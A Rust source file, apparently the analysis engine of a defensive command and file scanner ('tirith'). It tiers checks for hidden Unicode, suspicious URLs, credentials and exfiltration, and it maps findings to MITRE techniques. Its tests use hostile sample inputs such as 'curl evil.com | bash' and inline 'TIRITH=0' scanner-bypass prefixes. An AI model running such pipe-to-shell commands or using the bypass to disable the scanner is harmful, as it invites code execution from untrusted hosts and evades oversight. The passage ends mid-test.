1use std::time::Instant;
2
3use crate::extract::{self, ScanContext};
4use crate::normalize;
5use crate::policy::Policy;
6use crate::tokenize::ShellType;
7use crate::verdict::{Finding, Timings, Verdict};
8
9fn extract_raw_path_from_url(raw: &str) -> Option<String> {
11 if let Some(idx) = raw.find("://") {
12 let after = &raw[idx + 3..];
13 if let Some(slash_idx) = after.find('/') {
14 let path_start = &after[slash_idx..];
16 let end = path_start.find(['?', '#']).unwrap_or(path_start.len());
17 return Some(path_start[..end].to_string());
18 }
19 }
20 None
21}
22
23pub struct AnalysisContext {
25 pub input: String,
26 pub shell: ShellType,
27 pub scan_context: ScanContext,
28 pub raw_bytes: Option<Vec<u8>>,
29 pub interactive: bool,
30 pub cwd: Option<String>,
31 pub file_path: Option<std::path::PathBuf>,
33 pub repo_root: Option<String>,
36 pub is_config_override: bool,
38 pub clipboard_html: Option<String>,
41}
42
43fn is_tirith_zero_assignment(word: &str) -> bool {
46 if let Some((name, raw_val)) = word.split_once('=') {
47 let val = raw_val.trim_matches(|c: char| c == '\'' || c == '"');
48 if name == "TIRITH" && val == "0" {
49 return true;
50 }
51 }
52 false
53}
54
55fn find_inline_bypass(input: &str, shell: ShellType) -> bool {
59 use crate::tokenize;
60
61 if matches!(shell, ShellType::Posix | ShellType::Fish) {
62 let segments = tokenize::tokenize(input, shell);
63 if segments.len() != 1 || has_unquoted_ampersand(input, shell) {
64 return false;
65 }
66 }
67
68 let words = split_raw_words(input, shell);
69 if words.is_empty() {
70 return false;
71 }
72
73 let mut idx = 0;
78 while idx < words.len() && tokenize::is_env_assignment(&words[idx]) {
79 if is_tirith_zero_assignment(&words[idx]) {
80 return true;
81 }
82 idx += 1;
83 }
84
85 if idx < words.len() {
87 let cmd = words[idx].rsplit('/').next().unwrap_or(&words[idx]);
88 let cmd = cmd.trim_matches(|c: char| c == '\'' || c == '"');
89 if cmd == "env" {
90 idx += 1;
91 while idx < words.len() {
92 let w = &words[idx];
93 if w == "--" {
94 idx += 1;
95 break;
97 }
98 if tokenize::is_env_assignment(w) {
99 if is_tirith_zero_assignment(w) {
100 return true;
101 }
102 idx += 1;
103 continue;
104 }
105 if w.starts_with('-') {
106 if w.starts_with("--") {
107 if env_long_flag_takes_value(w) && !w.contains('=') {
108 idx += 2;
109 } else {
110 idx += 1;
111 }
112 continue;
113 }
114 if w == "-u" || w == "-C" || w == "-S" {
116 idx += 2;
117 continue;
118 }
119 idx += 1;
120 continue;
121 }
122 break;
124 }
125 while idx < words.len() && tokenize::is_env_assignment(&words[idx]) {
127 if is_tirith_zero_assignment(&words[idx]) {
128 return true;
129 }
130 idx += 1;
131 }
132 }
133 }
134
135 if shell == ShellType::PowerShell {
137 for word in &words {
138 if is_powershell_tirith_bypass(word) {
139 return true;
140 }
141 }
142 if words.len() >= 3 {
144 for window in words.windows(3) {
145 if is_powershell_env_ref(&window[0], "TIRITH")
146 && window[1] == "="
147 && strip_surrounding_quotes(&window[2]) == "0"
148 {
149 return true;
150 }
151 }
152 }
153 }
154
155 if shell == ShellType::Cmd && words.len() >= 2 {
160 let first = words[0].to_lowercase();
161 if first == "set" {
162 let second = strip_double_quotes_only(&words[1]);
163 if let Some((name, val)) = second.split_once('=') {
164 if name == "TIRITH" && val == "0" {
165 return true;
166 }
167 }
168 }
169 }
170
171 false
172}
173
174fn env_long_flag_takes_value(flag: &str) -> bool {
175 let name = flag.split_once('=').map(|(name, _)| name).unwrap_or(flag);
176 matches!(name, "--unset" | "--chdir" | "--split-string")
177}
178
179fn is_powershell_tirith_bypass(word: &str) -> bool {
182 if !word.starts_with('$') || word.len() < "$env:TIRITH=0".len() {
183 return false;
184 }
185 let after_dollar = &word[1..];
186 if !after_dollar
187 .get(..4)
188 .is_some_and(|s| s.eq_ignore_ascii_case("env:"))
189 {
190 return false;
191 }
192 let after_env = &after_dollar[4..];
193 if !after_env
194 .get(..7)
195 .is_some_and(|s| s.eq_ignore_ascii_case("TIRITH="))
196 {
197 return false;
198 }
199 let value = &after_env[7..];
200 strip_surrounding_quotes(value) == "0"
201}
202
203fn is_powershell_env_ref(word: &str, var_name: &str) -> bool {
205 if !word.starts_with('$') {
206 return false;
207 }
208 let after_dollar = &word[1..];
209 if !after_dollar
210 .get(..4)
211 .is_some_and(|s| s.eq_ignore_ascii_case("env:"))
212 {
213 return false;
214 }
215 after_dollar[4..].eq_ignore_ascii_case(var_name)
216}
217
218fn strip_surrounding_quotes(s: &str) -> &str {
220 if s.len() >= 2
221 && ((s.starts_with('"') && s.ends_with('"')) || (s.starts_with('\'') && s.ends_with('\'')))
222 {
223 &s[1..s.len() - 1]
224 } else {
225 s
226 }
227}
228
229fn strip_double_quotes_only(s: &str) -> &str {
231 if s.len() >= 2 && s.starts_with('"') && s.ends_with('"') {
232 &s[1..s.len() - 1]
233 } else {
234 s
235 }
236}
237
238fn split_raw_words(input: &str, shell: ShellType) -> Vec<String> {
245 let escape_char = match shell {
246 ShellType::PowerShell => '`',
247 ShellType::Cmd => '^',
248 _ => '\\',
249 };
250
251 let mut words = Vec::new();
253 let mut current = String::new();
254 let chars: Vec<char> = input.chars().collect();
255 let len = chars.len();
256 let mut i = 0;
257
258 while i < len {
259 let ch = chars[i];
260 match ch {
261 ' ' | '\t' if !current.is_empty() => {
262 words.push(current.clone());
263 current.clear();
264 i += 1;
265 while i < len && (chars[i] == ' ' || chars[i] == '\t') {
266 i += 1;
267 }
268 }
269 ' ' | '\t' => {
270 i += 1;
271 }
272 '|' | '\n' | '&' => break, ';' if shell != ShellType::Cmd => break,
274 '#' if shell == ShellType::PowerShell => break,
275 '\'' if shell != ShellType::Cmd => {
276 current.push(ch);
277 i += 1;
278 while i < len && chars[i] != '\'' {
279 current.push(chars[i]);
280 i += 1;
281 }
282 if i < len {
283 current.push(chars[i]);
284 i += 1;
285 }
286 }
287 '"' => {
288 current.push(ch);
289 i += 1;
290 while i < len && chars[i] != '"' {
291 if chars[i] == escape_char && i + 1 < len {
292 current.push(chars[i]);
293 current.push(chars[i + 1]);
294 i += 2;
295 } else {
296 current.push(chars[i]);
297 i += 1;
298 }
299 }
300 if i < len {
301 current.push(chars[i]);
302 i += 1;
303 }
304 }
305 c if c == escape_char && i + 1 < len => {
306 current.push(chars[i]);
307 current.push(chars[i + 1]);
308 i += 2;
309 }
310 _ => {
311 current.push(ch);
312 i += 1;
313 }
314 }
315 }
316 if !current.is_empty() {
317 words.push(current);
318 }
319 words
320}
321
322fn has_unquoted_ampersand(input: &str, shell: ShellType) -> bool {
324 let escape_char = match shell {
325 ShellType::PowerShell => '`',
326 ShellType::Cmd => '^',
327 _ => '\\',
328 };
329 let chars: Vec<char> = input.chars().collect();
330 let len = chars.len();
331 let mut i = 0;
332 while i < len {
333 match chars[i] {
334 '\'' if shell != ShellType::Cmd => {
335 i += 1;
336 while i < len && chars[i] != '\'' {
337 i += 1;
338 }
339 if i < len {
340 i += 1;
341 }
342 }
343 '"' => {
344 i += 1;
345 while i < len && chars[i] != '"' {
346 if chars[i] == escape_char && i + 1 < len {
347 i += 2;
348 } else {
349 i += 1;
350 }
351 }
352 if i < len {
353 i += 1;
354 }
355 }
356 c if c == escape_char && i + 1 < len => {
357 i += 2; }
359 '&' => return true,
360 _ => i += 1,
361 }
362 }
363 false
364}
365
366pub fn analyze(ctx: &AnalysisContext) -> Verdict {
368 let start = Instant::now();
369
370 let tier0_start = Instant::now();
372 let bypass_env = std::env::var("TIRITH").ok().as_deref() == Some("0");
373 let bypass_inline = find_inline_bypass(&ctx.input, ctx.shell);
374 let bypass_requested = bypass_env || bypass_inline;
375 let tier0_ms = tier0_start.elapsed().as_secs_f64() * 1000.0;
376
377 let tier1_start = Instant::now();
379
380 let byte_scan_triggered = if ctx.scan_context == ScanContext::Paste {
382 if let Some(ref bytes) = ctx.raw_bytes {
383 let scan = extract::scan_bytes(bytes);
384 scan.has_ansi_escapes
385 || scan.has_control_chars
386 || scan.has_bidi_controls
387 || scan.has_zero_width
388 || scan.has_invalid_utf8
389 || scan.has_unicode_tags
390 || scan.has_variation_selectors
391 || scan.has_invisible_math_operators
392 || scan.has_invisible_whitespace
393 } else {
394 false
395 }
396 } else {
397 false
398 };
399
400 let regex_triggered = extract::tier1_scan(&ctx.input, ctx.scan_context);
402
403 let exec_bidi_triggered = if ctx.scan_context == ScanContext::Exec {
405 let scan = extract::scan_bytes(ctx.input.as_bytes());
406 scan.has_bidi_controls
407 || scan.has_zero_width
408 || scan.has_unicode_tags
409 || scan.has_variation_selectors
410 || scan.has_invisible_math_operators
411 || scan.has_invisible_whitespace
412 } else {
413 false
414 };
415
416 let tier1_ms = tier1_start.elapsed().as_secs_f64() * 1000.0;
417
418 if !byte_scan_triggered && !regex_triggered && !exec_bidi_triggered {
420 let total_ms = start.elapsed().as_secs_f64() * 1000.0;
421 return Verdict::allow_fast(
422 1,
423 Timings {
424 tier0_ms,
425 tier1_ms,
426 tier2_ms: None,
427 tier3_ms: None,
428 total_ms,
429 },
430 );
431 }
432
433 let tier2_start = Instant::now();
435
436 if bypass_requested {
437 let policy = Policy::discover_partial(ctx.cwd.as_deref());
439 let allow_bypass = if ctx.interactive {
440 policy.allow_bypass_env
441 } else {
442 policy.allow_bypass_env_noninteractive
443 };
444
445 if allow_bypass {
446 let tier2_ms = tier2_start.elapsed().as_secs_f64() * 1000.0;
447 let total_ms = start.elapsed().as_secs_f64() * 1000.0;
448 let mut verdict = Verdict::allow_fast(
449 2,
450 Timings {
451 tier0_ms,
452 tier1_ms,
453 tier2_ms: Some(tier2_ms),
454 tier3_ms: None,
455 total_ms,
456 },
457 );
458 verdict.bypass_requested = true;
459 verdict.bypass_honored = true;
460 verdict.interactive_detected = ctx.interactive;
461 verdict.policy_path_used = policy.path.clone();
462 crate::audit::log_verdict(
464 &verdict,
465 &ctx.input,
466 None,
467 None,
468 &policy.dlp_custom_patterns,
469 );
470 return verdict;
471 }
472 }
473
474 let mut policy = Policy::discover(ctx.cwd.as_deref());
475 policy.load_user_lists();
476 policy.load_org_lists(ctx.cwd.as_deref());
477 let tier2_ms = tier2_start.elapsed().as_secs_f64() * 1000.0;
478
479 let tier3_start = Instant::now();
481 let mut findings = Vec::new();
482
483 let mut extracted = Vec::new();
485
486 if ctx.scan_context == ScanContext::FileScan {
487 let byte_input = if let Some(ref bytes) = ctx.raw_bytes {
490 bytes.as_slice()
491 } else {
492 ctx.input.as_bytes()
493 };
494 let byte_findings = crate::rules::terminal::check_bytes(byte_input);
495 findings.extend(byte_findings);
496
497 findings.extend(crate::rules::configfile::check(
499 &ctx.input,
500 ctx.file_path.as_deref(),
501 ctx.repo_root.as_deref().map(std::path::Path::new),
502 ctx.is_config_override,
503 ));
504
505 if crate::rules::codefile::is_code_file(
507 ctx.file_path.as_deref().and_then(|p| p.to_str()),
508 &ctx.input,
509 ) {
510 findings.extend(crate::rules::codefile::check(
511 &ctx.input,
512 ctx.file_path.as_deref().and_then(|p| p.to_str()),
513 ));
514 }
515
516 if crate::rules::rendered::is_renderable_file(ctx.file_path.as_deref()) {
518 let is_pdf = ctx
520 .file_path
521 .as_deref()
522 .and_then(|p| p.extension())
523 .and_then(|e| e.to_str())
524 .map(|e| e.eq_ignore_ascii_case("pdf"))
525 .unwrap_or(false);
526
527 if is_pdf {
528 let pdf_bytes = ctx.raw_bytes.as_deref().unwrap_or(ctx.input.as_bytes());
529 findings.extend(crate::rules::rendered::check_pdf(pdf_bytes));
530 } else {
531 findings.extend(crate::rules::rendered::check(
532 &ctx.input,
533 ctx.file_path.as_deref(),
534 ));
535 }
536 }
537 } else {
538 if ctx.scan_context == ScanContext::Paste {
542 if let Some(ref bytes) = ctx.raw_bytes {
543 let byte_findings = crate::rules::terminal::check_bytes(bytes);
544 findings.extend(byte_findings);
545 }
546 let multiline_findings = crate::rules::terminal::check_hidden_multiline(&ctx.input);
548 findings.extend(multiline_findings);
549
550 if let Some(ref html) = ctx.clipboard_html {
552 let clipboard_findings =
553 crate::rules::terminal::check_clipboard_html(html, &ctx.input);
554 findings.extend(clipboard_findings);
555 }
556 }
557
558 if ctx.scan_context == ScanContext::Exec {
560 let byte_input = ctx.input.as_bytes();
561 let scan = extract::scan_bytes(byte_input);
562 if scan.has_bidi_controls
563 || scan.has_zero_width
564 || scan.has_unicode_tags
565 || scan.has_variation_selectors
566 || scan.has_invisible_math_operators
567 || scan.has_invisible_whitespace
568 {
569 let byte_findings = crate::rules::terminal::check_bytes(byte_input);
570 findings.extend(byte_findings.into_iter().filter(|f| {
572 matches!(
573 f.rule_id,
574 crate::verdict::RuleId::BidiControls
575 | crate::verdict::RuleId::ZeroWidthChars
576 | crate::verdict::RuleId::UnicodeTags
577 | crate::verdict::RuleId::InvisibleMathOperator
578 | crate::verdict::RuleId::VariationSelector
579 | crate::verdict::RuleId::InvisibleWhitespace
580 )
581 }));
582 }
583 }
584
585 extracted = extract::extract_urls(&ctx.input, ctx.shell);
587
588 for url_info in &extracted {
589 let raw_path = extract_raw_path_from_url(&url_info.raw);
592 let normalized_path = url_info.parsed.path().map(normalize::normalize_path);
593
594 let hostname_findings = crate::rules::hostname::check(&url_info.parsed, &policy);
596 findings.extend(hostname_findings);
597
598 let path_findings = crate::rules::path::check(
599 &url_info.parsed,
600 normalized_path.as_ref(),
601 raw_path.as_deref(),
602 );
603 findings.extend(path_findings);
604
605 let transport_findings =
606 crate::rules::transport::check(&url_info.parsed, url_info.in_sink_context);
607 findings.extend(transport_findings);
608
609 let ecosystem_findings = crate::rules::ecosystem::check(&url_info.parsed);
610 findings.extend(ecosystem_findings);
611 }
612
613 let command_findings = crate::rules::command::check(
615 &ctx.input,
616 ctx.shell,
617 ctx.cwd.as_deref(),
618 ctx.scan_context,
619 );
620 findings.extend(command_findings);
621
622 let cred_findings =
624 crate::rules::credential::check(&ctx.input, ctx.shell, ctx.scan_context);
625 findings.extend(cred_findings);
626
627 let env_findings = crate::rules::environment::check(&crate::rules::environment::RealEnv);
629 findings.extend(env_findings);
630
631 if crate::license::current_tier() >= crate::license::Tier::Team
633 && !policy.network_deny.is_empty()
634 {
635 let net_findings = crate::rules::command::check_network_policy(
636 &ctx.input,
637 ctx.shell,
638 &policy.network_deny,
639 &policy.network_allow,
640 );
641 findings.extend(net_findings);
642 }
643 }
644
645 if crate::license::current_tier() >= crate::license::Tier::Team
647 && !policy.custom_rules.is_empty()
648 {
649 let compiled = crate::rules::custom::compile_rules(&policy.custom_rules);
650 let custom_findings = crate::rules::custom::check(&ctx.input, ctx.scan_context, &compiled);
651 findings.extend(custom_findings);
652 }
653
654 for finding in &mut findings {
656 if let Some(override_sev) = policy.severity_override(&finding.rule_id) {
657 finding.severity = override_sev;
658 }
659 }
660
661 for url_info in &extracted {
664 if policy.is_blocklisted(&url_info.raw) {
665 findings.push(Finding {
666 rule_id: crate::verdict::RuleId::PolicyBlocklisted,
667 severity: crate::verdict::Severity::Critical,
668 title: "URL matches blocklist".to_string(),
669 description: format!("URL '{}' matches a blocklist pattern", url_info.raw),
670 evidence: vec![crate::verdict::Evidence::Url {
671 raw: url_info.raw.clone(),
672 }],
673 human_view: None,
674 agent_view: None,
675 mitre_id: None,
676 custom_rule_id: None,
677 });
678 }
679 }
680
681 if !policy.allowlist.is_empty() || !policy.allowlist_rules.is_empty() {
684 let blocklisted_urls: Vec<&str> = extracted
685 .iter()
686 .filter(|u| policy.is_blocklisted(&u.raw))
687 .map(|u| u.raw.as_str())
688 .collect();
689
690 findings.retain(|f| {
691 let urls_in_evidence: Vec<&str> = f
692 .evidence
693 .iter()
694 .filter_map(|e| match e {
695 crate::verdict::Evidence::Url { raw } => Some(raw.as_str()),
696 _ => None,
697 })
698 .collect();
699
700 if urls_in_evidence.is_empty() {
701 return true;
702 }
703
704 let rule_allowlisted = |url: &str| {
705 policy.is_allowlisted_for_rule(&f.rule_id.to_string(), url)
706 || f.custom_rule_id.as_deref().is_some_and(|custom_rule_id| {
707 policy.is_allowlisted_for_rule(custom_rule_id, url)
708 })
709 };
710
711 urls_in_evidence
714 .iter()
715 .any(|url| blocklisted_urls.contains(url))
716 || !urls_in_evidence
717 .iter()
718 .all(|url| policy.is_allowlisted(url) || rule_allowlisted(url))
719 });
720 }
721
722 let tier = crate::license::current_tier();
725 if tier >= crate::license::Tier::Pro {
726 enrich_pro(&mut findings);
727 }
728 if tier >= crate::license::Tier::Team {
729 enrich_team(&mut findings);
730 }
731
732 crate::rule_metadata::filter_early_access(&mut findings, tier);
735
736 let tier3_ms = tier3_start.elapsed().as_secs_f64() * 1000.0;
737 let total_ms = start.elapsed().as_secs_f64() * 1000.0;
738
739 let mut verdict = Verdict::from_findings(
740 findings,
741 3,
742 Timings {
743 tier0_ms,
744 tier1_ms,
745 tier2_ms: Some(tier2_ms),
746 tier3_ms: Some(tier3_ms),
747 total_ms,
748 },
749 );
750 verdict.bypass_requested = bypass_requested;
751 verdict.interactive_detected = ctx.interactive;
752 verdict.policy_path_used = policy.path.clone();
753 verdict.urls_extracted_count = Some(extracted.len());
754
755 verdict
756}
757
758pub fn filter_findings_by_paranoia(verdict: &mut Verdict, paranoia: u8) {
773 retain_by_paranoia(&mut verdict.findings, paranoia);
774 verdict.action = recalculate_action(&verdict.findings);
775}
776
777pub fn filter_findings_by_paranoia_vec(findings: &mut Vec<Finding>, paranoia: u8) {
781 retain_by_paranoia(findings, paranoia);
782}
783
784fn recalculate_action(findings: &[Finding]) -> crate::verdict::Action {
786 use crate::verdict::{Action, Severity};
787 if findings.is_empty() {
788 return Action::Allow;
789 }
790 let max_severity = findings
791 .iter()
792 .map(|f| f.severity)
793 .max()
794 .unwrap_or(Severity::Low);
795 match max_severity {
796 Severity::Critical | Severity::High => Action::Block,
797 Severity::Medium | Severity::Low => Action::Warn,
798 Severity::Info => Action::Allow,
799 }
800}
801
802fn retain_by_paranoia(findings: &mut Vec<Finding>, paranoia: u8) {
804 let tier = crate::license::current_tier();
805 let effective = if tier >= crate::license::Tier::Pro {
806 paranoia.min(4)
807 } else {
808 paranoia.min(2) };
810
811 findings.retain(|f| match f.severity {
812 crate::verdict::Severity::Info => effective >= 4,
813 crate::verdict::Severity::Low => effective >= 3,
814 _ => true, });
816}
817
818fn enrich_pro(findings: &mut [Finding]) {
824 for finding in findings.iter_mut() {
825 match finding.rule_id {
826 crate::verdict::RuleId::HiddenCssContent => {
828 finding.human_view =
829 Some("Content hidden via CSS — invisible in rendered view".into());
830 finding.agent_view = Some(format!(
831 "AI agent sees full text including CSS-hidden content. {}",
832 evidence_summary(&finding.evidence)
833 ));
834 }
835 crate::verdict::RuleId::HiddenColorContent => {
836 finding.human_view =
837 Some("Text blends with background — invisible to human eye".into());
838 finding.agent_view = Some(format!(
839 "AI agent reads text regardless of color contrast. {}",
840 evidence_summary(&finding.evidence)
841 ));
842 }
843 crate::verdict::RuleId::HiddenHtmlAttribute => {
844 finding.human_view =
845 Some("Elements marked hidden/aria-hidden — not displayed".into());
846 finding.agent_view = Some(format!(
847 "AI agent processes hidden element content. {}",
848 evidence_summary(&finding.evidence)
849 ));
850 }
851 crate::verdict::RuleId::HtmlComment => {
852 finding.human_view = Some("HTML comments not rendered in browser".into());
853 finding.agent_view = Some(format!(
854 "AI agent reads comment content as context. {}",
855 evidence_summary(&finding.evidence)
856 ));
857 }
858 crate::verdict::RuleId::MarkdownComment => {
859 finding.human_view = Some("Markdown comments not rendered in preview".into());
860 finding.agent_view = Some(format!(
861 "AI agent processes markdown comment content. {}",
862 evidence_summary(&finding.evidence)
863 ));
864 }
865 crate::verdict::RuleId::PdfHiddenText => {
866 finding.human_view = Some("Sub-pixel text invisible in PDF viewer".into());
867 finding.agent_view = Some(format!(
868 "AI agent extracts all text including sub-pixel content. {}",
869 evidence_summary(&finding.evidence)
870 ));
871 }
872 crate::verdict::RuleId::ClipboardHidden => {
873 finding.human_view =
874 Some("Hidden content in clipboard HTML not visible in paste preview".into());
875 finding.agent_view = Some(format!(
876 "AI agent processes full clipboard including hidden HTML. {}",
877 evidence_summary(&finding.evidence)
878 ));
879 }
880 _ => {}
881 }
882 }
883}
884
885fn evidence_summary(evidence: &[crate::verdict::Evidence]) -> String {
887 let details: Vec<&str> = evidence
888 .iter()
889 .filter_map(|e| {
890 if let crate::verdict::Evidence::Text { detail } = e {
891 Some(detail.as_str())
892 } else {
893 None
894 }
895 })
896 .take(3)
897 .collect();
898 if details.is_empty() {
899 String::new()
900 } else {
901 format!("Details: {}", details.join("; "))
902 }
903}
904
905fn mitre_id_for_rule(rule_id: crate::verdict::RuleId) -> Option<&'static str> {
907 use crate::verdict::RuleId;
908 match rule_id {
909 RuleId::PipeToInterpreter
911 | RuleId::CurlPipeShell
912 | RuleId::WgetPipeShell
913 | RuleId::HttpiePipeShell
914 | RuleId::XhPipeShell => Some("T1059.004"), RuleId::DotfileOverwrite => Some("T1546.004"), RuleId::BidiControls
921 | RuleId::UnicodeTags
922 | RuleId::ZeroWidthChars
923 | RuleId::InvisibleMathOperator
924 | RuleId::VariationSelector
925 | RuleId::InvisibleWhitespace => {
926 Some("T1036.005") }
928 RuleId::HiddenMultiline | RuleId::AnsiEscapes | RuleId::ControlChars => Some("T1036.005"),
929
930 RuleId::CodeInjectionEnv => Some("T1574.006"), RuleId::InterpreterHijackEnv => Some("T1574.007"), RuleId::ShellInjectionEnv => Some("T1546.004"), RuleId::CredentialInText | RuleId::HighEntropySecret => Some("T1552"), RuleId::PrivateKeyExposed => Some("T1552.004"), RuleId::MetadataEndpoint => Some("T1552.005"), RuleId::SensitiveEnvExport | RuleId::CredentialFileSweep => Some("T1552.001"), RuleId::ProcMemAccess => Some("T1003.007"), RuleId::DockerRemotePrivEsc => Some("T1611"), RuleId::ConfigInjection => Some("T1195.001"), RuleId::McpInsecureServer | RuleId::McpSuspiciousArgs => Some("T1195.002"), RuleId::GitTyposquat => Some("T1195.001"),
947 RuleId::DockerUntrustedRegistry => Some("T1195.002"),
948
949 RuleId::PrivateNetworkAccess => Some("T1046"), RuleId::ServerCloaking => Some("T1036"), RuleId::ArchiveExtract => Some("T1560.001"), RuleId::ProxyEnvSet => Some("T1090.001"), RuleId::DataExfiltration => Some("T1048.003"), RuleId::SuspiciousCodeExfiltration => Some("T1041"), RuleId::Base64DecodeExecute => Some("T1027.010"), RuleId::ObfuscatedPayload => Some("T1027"), RuleId::DynamicCodeExecution => Some("T1059"), _ => None,
967 }
968}
969
970fn enrich_team(findings: &mut [Finding]) {
972 for finding in findings.iter_mut() {
973 if finding.mitre_id.is_none() {
974 finding.mitre_id = mitre_id_for_rule(finding.rule_id).map(String::from);
975 }
976 }
977}
978
979#[cfg(test)]
980mod tests {
981 use super::*;
982 #[test]
983 fn test_exec_bidi_without_url() {
984 let input = format!("echo hello{}world", '\u{202E}');
986 let ctx = AnalysisContext {
987 input,
988 shell: ShellType::Posix,
989 scan_context: ScanContext::Exec,
990 raw_bytes: None,
991 interactive: true,
992 cwd: None,
993 file_path: None,
994 repo_root: None,
995 is_config_override: false,
996 clipboard_html: None,
997 };
998 let verdict = analyze(&ctx);
999 assert!(
1001 verdict.tier_reached >= 3,
1002 "bidi in exec should reach tier 3, got tier {}",
1003 verdict.tier_reached
1004 );
1005 assert!(
1007 verdict
1008 .findings
1009 .iter()
1010 .any(|f| matches!(f.rule_id, crate::verdict::RuleId::BidiControls)),
1011 "should detect bidi controls in exec context"
1012 );
1013 }
1014
1015 #[test]
1016 fn test_paranoia_filter_suppresses_info_low() {
1017 use crate::verdict::{Finding, RuleId, Severity, Timings, Verdict};
1018
1019 let findings = vec![
1020 Finding {
1021 rule_id: RuleId::VariationSelector,
1022 severity: Severity::Info,
1023 title: "info finding".into(),
1024 description: String::new(),
1025 evidence: vec![],
1026 human_view: None,
1027 agent_view: None,
1028 mitre_id: None,
1029 custom_rule_id: None,
1030 },
1031 Finding {
1032 rule_id: RuleId::InvisibleWhitespace,
1033 severity: Severity::Low,
1034 title: "low finding".into(),
1035 description: String::new(),
1036 evidence: vec![],
1037 human_view: None,
1038 agent_view: None,
1039 mitre_id: None,
1040 custom_rule_id: None,
1041 },
1042 Finding {
1043 rule_id: RuleId::HiddenCssContent,
1044 severity: Severity::High,
1045 title: "high finding".into(),
1046 description: String::new(),
1047 evidence: vec![],
1048 human_view: None,
1049 agent_view: None,
1050 mitre_id: None,
1051 custom_rule_id: None,
1052 },
1053 ];
1054
1055 let timings = Timings {
1056 tier0_ms: 0.0,
1057 tier1_ms: 0.0,
1058 tier2_ms: None,
1059 tier3_ms: None,
1060 total_ms: 0.0,
1061 };
1062
1063 let mut verdict = Verdict::from_findings(findings.clone(), 3, timings.clone());
1065 filter_findings_by_paranoia(&mut verdict, 1);
1066 assert_eq!(
1067 verdict.findings.len(),
1068 1,
1069 "paranoia 1 should keep only High+"
1070 );
1071 assert_eq!(verdict.findings[0].severity, Severity::High);
1072
1073 let mut verdict = Verdict::from_findings(findings.clone(), 3, timings.clone());
1075 filter_findings_by_paranoia(&mut verdict, 2);
1076 assert_eq!(
1077 verdict.findings.len(),
1078 1,
1079 "paranoia 2 should keep only Medium+"
1080 );
1081 }
1082
1083 #[test]
1084 fn test_inline_bypass_bare_prefix() {
1085 assert!(find_inline_bypass(
1086 "TIRITH=0 curl evil.com",
1087 ShellType::Posix
1088 ));
1089 }
1090
1091 #[test]
1092 fn test_inline_bypass_env_wrapper() {
1093 assert!(find_inline_bypass(
1094 "env TIRITH=0 curl evil.com",
1095 ShellType::Posix
1096 ));
1097 }
1098
1099 #[test]
1100 fn test_inline_bypass_env_i() {
1101 assert!(find_inline_bypass(
1102 "env -i TIRITH=0 curl evil.com",
1103 ShellType::Posix
1104 ));
1105 }
1106
1107 #[test]
1108 fn test_inline_bypass_env_u_skip() {
1109 assert!(find_inline_bypass(
1110 "env -u TIRITH TIRITH=0 curl evil.com",
1111 ShellType::Posix
1112 ));
1113 }
1114
1115 #[test]
1116 fn test_inline_bypass_usr_bin_env() {
1117 assert!(find_inline_bypass(
1118 "/usr/bin/env TIRITH=0 curl evil.com",
1119 ShellType::Posix
1120 ));
1121 }
1122
1123 #[test]
1124 fn test_inline_bypass_env_dashdash() {
1125 assert!(find_inline_bypass(
1126 "env -- TIRITH=0 curl evil.com",
1127 ShellType::Posix
1128 ));
1129 }
1130
1131 #[test]
1132 fn test_no_inline_bypass() {
1133 assert!(!find_inline_bypass(
1134 "curl evil.com | bash",
1135 ShellType::Posix
1136 ));
1137 }
1138
1139 #[test]
1140 fn test_inline_bypass_powershell_env() {
1141 assert!(find_inline_bypass(
1142 "$env:TIRITH=\"0\"; curl evil.com",
1143 ShellType::PowerShell
1144 ));
1145 }
1146
1147 #[test]
1148 fn test_inline_bypass_powershell_env_no_quotes() {
1149 assert!(find_inline_bypass(
1150 "$env:TIRITH=0; curl evil.com",
1151 ShellType::PowerShell
1152 ));
1153 }
1154
1155 #[test]
1156 fn test_inline_bypass_powershell_env_single_quotes() {
1157 assert!(find_inline_bypass(
1158 "$env:TIRITH='0'; curl evil.com",
1159 ShellType::PowerShell
1160 ));
1161 }
1162
1163 #[test]
1164 fn test_inline_bypass_powershell_env_spaced() {
1165 assert!(find_inline_bypass(
1166 "$env:TIRITH = \"0\"; curl evil.com",
1167 ShellType::PowerShell
1168 ));
1169 }
1170
1171 #[test]
1172 fn test_inline_bypass_powershell_mixed_case_env() {
1173 assert!(find_inline_bypass(
1174 "$Env:TIRITH=\"0\"; curl evil.com",
1175 ShellType::PowerShell
1176 ));
1177 }
1178
1179 #[test]
1180 fn test_no_inline_bypass_powershell_wrong_value() {
1181 assert!(!find_inline_bypass(
1182 "$env:TIRITH=\"1\"; curl evil.com",
1183 ShellType::PowerShell
1184 ));
1185 }
1186
1187 #[test]
1188 fn test_no_inline_bypass_powershell_other_var() {
1189 assert!(!find_inline_bypass(
1190 "$env:FOO=\"0\"; curl evil.com",
1191 ShellType::PowerShell
1192 ));
1193 }
1194
1195 #[test]
1196 fn test_no_inline_bypass_powershell_in_posix_mode() {
1197 assert!(!find_inline_bypass(
1199 "$env:TIRITH=\"0\"; curl evil.com",
1200 ShellType::Posix
1201 ));
1202 }
1203
1204 #[test]
1205 fn test_no_inline_bypass_powershell_comment_contains_bypass() {
1206 assert!(!find_inline_bypass(
1207 "curl evil.com # $env:TIRITH=0",
1208 ShellType::PowerShell
1209 ));
1210 }
1211
1212 #[test]
1213 fn test_inline_bypass_env_c_flag() {
1214 assert!(find_inline_bypass(
1216 "env -C /tmp TIRITH=0 curl evil.com",
1217 ShellType::Posix
1218 ));
1219 }
1220
1221 #[test]
1222 fn test_inline_bypass_env_s_flag() {
1223 assert!(find_inline_bypass(
1225 "env -S 'some args' TIRITH=0 curl evil.com",
1226 ShellType::Posix
1227 ));
1228 }
1229
1230 #[test]
1231 fn test_inline_bypass_env_ignore_environment_long_flag() {
1232 assert!(find_inline_bypass(
1233 "env --ignore-environment TIRITH=0 curl evil.com",
1234 ShellType::Posix
1235 ));
1236 }
1237
1238 #[test]
1239 fn test_no_inline_bypass_for_chained_posix_command() {
1240 assert!(!find_inline_bypass(
1241 "TIRITH=0 curl evil.com | bash",
1242 ShellType::Posix
1243 ));
1244 assert!(!find_inline_bypass(
1245 "TIRITH=0 curl evil.com & bash",
1246 ShellType::Posix
1247 ));
1248 }
1249
1250 #[test]
1251 fn test_paranoia_filter_recalculates_action() {
1252 use crate::verdict::{Action, Finding, RuleId, Severity, Timings, Verdict};
1253
1254 let findings = vec![
1255 Finding {
1256 rule_id: RuleId::InvisibleWhitespace,
1257 severity: Severity::Low,
1258 title: "low finding".into(),
1259 description: String::new(),
1260 evidence: vec![],
1261 human_view: None,
1262 agent_view: None,
1263 mitre_id: None,
1264 custom_rule_id: None,
1265 },
1266 Finding {
